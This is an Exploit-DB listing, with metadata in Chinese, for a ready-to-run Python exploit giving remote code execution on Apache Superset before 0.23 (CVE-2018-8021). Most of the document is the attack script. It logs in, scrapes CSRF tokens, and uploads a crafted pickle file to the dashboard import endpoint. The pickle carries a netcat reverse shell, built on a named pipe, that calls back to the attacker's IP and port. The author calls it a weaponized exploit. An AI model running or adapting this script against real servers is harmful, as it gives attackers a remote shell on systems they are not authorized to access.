标题: Apache Superset < 0.23 - Remote Code Execution EDB-ID: 45933 CVE: 2018-8021 类型: WEBAPPS 平台: LINUX 发布日期: 2018-12-03 漏洞利用脚本: # Exploit Title: Apache Superset < 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May (david.may@semanticbits.com)
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021

# I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.

#!/usr/bin/env python

import sys
import os
from lxml import html
import requests

# Change these values to your TCP listener
myIP = '192.168.137.129'
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'

# Logic in case script arguments are not given
if len(sys.argv) < 3:
 print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
 print('Script Usage:')
 print('./supersetrce.py <superset server ip> <superset port>')
 sys.exit()
 
else:
 # Script arguments
 supersetIP = sys.argv[1]
 supersetPort = sys.argv[2]
 # Verify these URLs match your environment
 login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
 upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
 
 # Checks to see if file that we are going to write already exists in case this is run more than once
 if os.path.isfile('evil.pickle'):
  os.remove('evil.pickle')
  
 # Headers that we append to our POST requests
 headers_dict = {
  'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
  'DNT': '1',
  'Connection': 'close',
  'Upgrade-Insecure-Requests': '1',
 }
 
 # Creates evil pickle file and writes the reverse shell to it
 evilPickle = open('evil.pickle','w+')
 evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
 evilPickle.close()
 
 # Start a session so we have persistent cookies
 session = requests.session() 
 
 # Grabs the Login page to parse it for its CSRF token
 login_page = session.get(login_URL)
 if login_page.status_code != 200:
  print('Login page not reached, verify URLs in script')
 login_tree = html.fromstring(login_page.content)
 csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
 
 # Form data that is sent in the POST request to Login page
 login_data = {
  'csrf_token' : csrf_token,
  'username' : username,
  'password' : password,
 }
 
 # Adds the Referer header for the login page
 headers_dict['Referer'] = login_URL
 
 # Logon action
 login = session.post(login_URL, headers=headers_dict, data=login_data) 
 
 # Grabs the Upload page to parse it for its CSRF token
 upload_page = session.get(upload_URL)
 if upload_page.status_code != 200:
  print('Upload page not reached, verify credentials and URLs in script')
 upload_tree = html.fromstring(upload_page.content)
 csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
 
 # Adds the Referer header for the Upload page
 headers_dict['Referer'] = upload_URL
 
 # Upload action
 upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
 
 # Closes the session
 session.close()
 sys.exit() URL: https://www.exploit-db.com/exploits/45933